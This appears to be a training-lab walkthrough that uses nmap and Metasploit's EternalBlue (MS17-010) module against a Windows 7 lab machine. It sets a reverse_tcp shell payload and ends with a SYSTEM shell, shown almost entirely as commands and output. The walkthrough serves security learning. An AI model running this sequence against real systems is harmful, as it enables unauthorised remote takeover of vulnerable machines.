

ETERNALBLUE EXPLOIT: ACCESSING WINDOWS 7 REMOTELY

STEP 1 : Identify the target IP address

Target Machine Information				
Title	Target IP Address	Expires		
Blue	10.10.156.192 	1h 55min 51s		Add 1 hour Terminate

STEP 2 : Scan open ports on the target machine using the following command `nmap -sV <target ip>`

```
root@ip-10-10-118-128: ~  
File Edit View Search Terminal Help  
root@ip-10-10-118-128:~# nmap -sV 10.10.156.192  
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-18 03:45 GMT  
Nmap scan report for 10.10.156.192  
Host is up (0.00058s latency).  
Not shown: 991 closed ports  
PORT      STATE SERVICE          VERSION  
135/tcp   open  msrpc            Microsoft Windows RPC  
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds     Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)  
3389/tcp   open  tcpwrapped  
49152/tcp open  msrpc            Microsoft Windows RPC  
49153/tcp open  msrpc            Microsoft Windows RPC  
49154/tcp open  msrpc            Microsoft Windows RPC  
49158/tcp open  msrpc            Microsoft Windows RPC  
49159/tcp open  msrpc            Microsoft Windows RPC  
MAC Address: 02:CB:77:08:95:55 (Unknown)  
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 72.26 seconds  
root@ip-10-10-118-128:~#
```

STEP 3 : After scanning, type `msfconsole` to start metasploit

```
File Edit View Search Terminal Help
root@ip-10-10-118-128: ~
49159/tcp open  msrpc      Microsoft Windows RPC
MAC Address: 02:CB:77:08:95:55 (Unknown)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.26 seconds
root@ip-10-10-118-128:~# msfconsole
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R

3Kom SuperHack II Logon

User Name:      [          ]
Password:       [          ]

[ OK ]

https://metasploit.com

-[ metasploit v6.4.38-dev-          ]
+ -- --[ 2460 exploits - 1266 auxiliary - 430 post          ]
+ -- --[ 1468 payloads - 49 encoders - 11 nops             ]
+ -- --[ 9 evasion                                           ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 > 
```

STEP 4 : Enter search ms17 to load the EternalBlue exploit module

```
File Edit View Search Terminal Help
root@ip-10-10-118-128: ~
+ -- ==[ 2460 exploits - 1266 auxiliary - 430 post ]
+ -- ==[ 1468 payloads - 49 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > serach ms17
[-] Unknown command: serach. Did you mean search? Run the help command for more details.
msf6 > search ms17

Matching Modules
=====
# Name Disclosure Date Rank Check Description
-----
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \ target: Automatic Target * * * *
2 \ target: Windows 7 * * * *
3 \ target: Windows Embedded Standard 7 * * * *
4 \ target: Windows Server 2008 R2 * * * *
5 \ target: Windows 8 * * * *
6 \ target: Windows 8.1 * * * *
7 \ target: Windows Server 2012 * * * *
8 \ target: Windows 10 Pro * * * *
9 \ target: Windows 10 Enterprise Evaluation * * * *
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows C
ode Execution
11 \ target: Automatic * * * *
12 \ target: PowerShell * * * *
13 \ target: Native upload * * * *
14 \ target: MOF upload * * * *
15 \ AKA: ETERNALSYNERGY * * * *
16 \ AKA: ETERNALROMANCE * * * *
17 \ AKA: ETERNALCHAMPION * * * *
18 \ AKA: ETERNALBLUE * * * *
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows C
ommand Execution
20 \ AKA: ETERNALSYNERGY * * * *
21 \ AKA: ETERNALROMANCE * * * *
22 \ AKA: ETERNALCHAMPION * * * *
23 \ AKA: ETERNALBLUE * * * *
24 auxiliary/scanner/smb/smb_ms17_010 * normal No MS17-010 SMB RCE Detection
```

STEP 5 : Type use 0 to select the windows/smb/ms17/_010_eternalblue exploit

```

root@ip-10-10-118-128: ~
File Edit View Search Terminal Help
 2 \ target: Windows 7 . . . .
 3 \ target: Windows Embedded Standard 7 . . . .
 4 \ target: Windows Server 2008 R2 . . . .
 5 \ target: Windows 8 . . . .
 6 \ target: Windows 8.1 . . . .
 7 \ target: Windows Server 2012 . . . .
 8 \ target: Windows 10 Pro . . . .
 9 \ target: Windows 10 Enterprise Evaluation . . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes ms17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows C
Command Execution
11 \ target: Automatic . . . .
12 \ target: PowerShell . . . .
13 \ target: Native upload . . . .
14 \ target: MOF upload . . . .
15 \ AKA: ETERNALSYNERGY . . . .
16 \ AKA: ETERNALROMANCE . . . .
17 \ AKA: ETERNALCHAMPION . . . .
18 \ AKA: ETERNALBLUE . . . .
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No ms17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows C
Command Execution
20 \ AKA: ETERNALSYNERGY . . . .
21 \ AKA: ETERNALROMANCE . . . .
22 \ AKA: ETERNALCHAMPION . . . .
23 \ AKA: ETERNALBLUE . . . .
24 auxiliary/scanner/smb/smb_ms17_010 . normal No ms17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR . . . .
26 \ AKA: ETERNALBLUE . . . .
27 exploit/windows/fileformat/office_ms17_11882 2017-11-15 manual No Microsoft Office CVE-2017-11882
28 auxiliary/admin/mssql/mssql_escalate_execute_as . normal No Microsoft SQL Server Escalate EXECUTE AS
29 auxiliary/admin/mssql/mssql_escalate_execute_as_sql . normal No Microsoft SQL Server SQLi Escalate Execute AS
30 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
31 \ target: Execute payload (x64) . . . .
32 \ target: Neutralize implant . . . .

Interact with a module by name or index. For example info 32, use 32 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

STEP 6 : Use show options commands to view all the settings needed to configure for the exploit

```
root@ip-10-10-118-128: ~  
msf6 > use 0  
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp  
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options  
Module options (exploit/windows/smb/ms17_010_eternalblue):  


| Name          | Current Setting | Required | Description                                                                                                                                                                                         |
|---------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                                                               |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                               |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                                                                  |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                                                                          |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                                   |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                                             |

  
Payload options (windows/x64/meterpreter/reverse_tcp):  


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.10.118.128   | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |

  
Exploit target:  


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |

  
View the full module info with the info, or info -d command.  
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

STEP 7 : Now type set RHOSTS <IP of target machine>

```
root@ip-10-10-118-128: ~
File Edit View Search Terminal Help
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    445              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The target port (TCP)
  SMBDomain  no               no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded
  SMBPass   no               no        Standard 7 target machines.
  SMBUser   no               no        (Optional) The password for the specified username
  VERIFY_ARCH true             yes       (Optional) The username to authenticate as
  VERIFY_TARGET true            yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Stan
  dard 7 target machines.
  Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 tar
  get machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.118.128    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.156.192
rhosts => 10.10.156.192
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

STEP 8 : Select the payload by using the following command `set payload windows/x64/shell/reverse_tcp`

```
root@ip-10-10-118-128: ~
File Edit View Search Terminal Help

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.10.156.192  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445             yes       The target port (TCP)
  SMBDomain              no       (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded
  SMBPass              no       (Optional) The password for the specified username
  SMBUser              no       (Optional) The username to authenticate as
  VERIFY_ARCH  true           yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Stan
  VERIFY_TARGET true           yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 tar
get machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.118.128  yes       The listen address (an interface may be specified)
  LPORT     4444           yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

STEP 9 : Now type run/exploit to start the exploit

```
root@ip-10-10-118-128: ~
File Edit View Search Terminal Help
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.118.128:4444
[*] 10.10.156.192:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.10.156.192:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.156.192:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.156.192:445 - The target is vulnerable.
[*] 10.10.156.192:445 - Connecting to target for exploitation.
[*] 10.10.156.192:445 - Connection established for exploitation.
[*] 10.10.156.192:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.156.192:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.156.192:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.156.192:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.156.192:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 10.10.156.192:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.156.192:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.156.192:445 - Sending all but last fragment of exploit packet
[*] 10.10.156.192:445 - Starting non-paged pool grooming
[*] 10.10.156.192:445 - Sending SMBv2 buffers
[*] 10.10.156.192:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.156.192:445 - Sending final SMBv2 buffers.
[*] 10.10.156.192:445 - Sending last fragment of exploit packet!
[*] 10.10.156.192:445 - Receiving response from exploit packet
[*] 10.10.156.192:445 - ETERNALBLUE overwrite completed successfully (0xC0000000)!
[*] 10.10.156.192:445 - Sending egg to corrupted connection.
[*] 10.10.156.192:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.156.192
[*] Command shell session 1 opened (10.10.118.128:4444 -> 10.10.156.192:49199) at 2024-12-18 03:59:11 +0000
[*] 10.10.156.192:445 - =====
[*] 10.10.156.192:445 - -----WIN-----
[*] 10.10.156.192:445 - =====

Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----

C:\Windows\system32>
```

STEP 10 : We've successfully gained the access of windows, run the command whoami to verify the session

```
root@ip-10-10-118-128: ~
File Edit View Search Terminal Help
[*] Started reverse TCP handler on 10.10.118.128:4444
[*] 10.10.156.192:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.156.192:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.156.192:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.156.192:445 - The target is vulnerable.
[*] 10.10.156.192:445 - Connecting to target for exploitation.
[*] 10.10.156.192:445 - Connection established for exploitation.
[*] 10.10.156.192:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.156.192:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.156.192:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.156.192:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.156.192:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 10.10.156.192:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.156.192:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.156.192:445 - Sending all but last fragment of exploit packet
[*] 10.10.156.192:445 - Starting non-paged pool grooming
[*] 10.10.156.192:445 - Sending SMBv2 buffers
[*] 10.10.156.192:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.156.192:445 - Sending final SMBv2 buffers.
[*] 10.10.156.192:445 - Sending last fragment of exploit packet!
[*] 10.10.156.192:445 - Receiving response from exploit packet
[+] 10.10.156.192:445 - ETERNALBLUE overwrite completed successfully (0xC0000000)!
[*] 10.10.156.192:445 - Sending egg to corrupted connection.
[*] 10.10.156.192:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.156.192
[*] Command shell session 1 opened (10.10.118.128:4444 -> 10.10.156.192:49199) at 2024-12-18 03:59:11 +0000
[+] 10.10.156.192:445 - =====
[+] 10.10.156.192:445 - =====WIN=====
[+] 10.10.156.192:445 - =====

Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```